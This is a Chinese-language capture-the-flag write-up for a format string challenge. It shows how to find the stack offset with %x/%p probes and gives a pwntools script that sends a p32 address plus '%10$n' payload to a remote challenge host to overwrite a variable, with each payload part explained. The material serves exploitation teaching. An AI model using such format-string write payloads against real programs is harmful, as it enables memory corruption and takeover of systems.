格式化字符串漏洞介绍:
https://blog.csdn.net/weixin_45556441/article/details/114080930
一.分析
pwnme的地址为 0x804A068
思路: 利用格式化字符串漏洞来使 pwnme的值为8;
二.做题过程
首先,我们得查一下我们输入进去的数据在栈中偏移了多少,知道偏移量后我们才能将其对应起来
输入
AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
或者 AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
可以得出,偏移量为10;
注:A转化为16进制是0x41
三.解题脚本
from pwn import *
p = remote('111.200.241.244', '52927')
p.recvuntil("please tell me your name")
p.send('小明')
p.recvuntil("leave your message please")
payload=p32(0x0804a068)+"aaaa%10$n"
p.send(payload)
p.interactive()
四. payload 详解:
-
p32(0x0804a068)
是pwnme的地址; -
"aaaa%10$n":
aaaa是因为:这里四个a的作用是填充字符数,因为p32函数将pwnme地址转化成四个字节的小端序字符,我们希望写入pwnme的数字是8,因此再填充4个任意字符。
举个其他的例子🌰: %85c%7$n,作用是将85写入栈内第7个参数所指向的地址。
-
10 是指10个偏移量
-
$ 是偏移符号
-
%n -打印到目前为止所写的字符数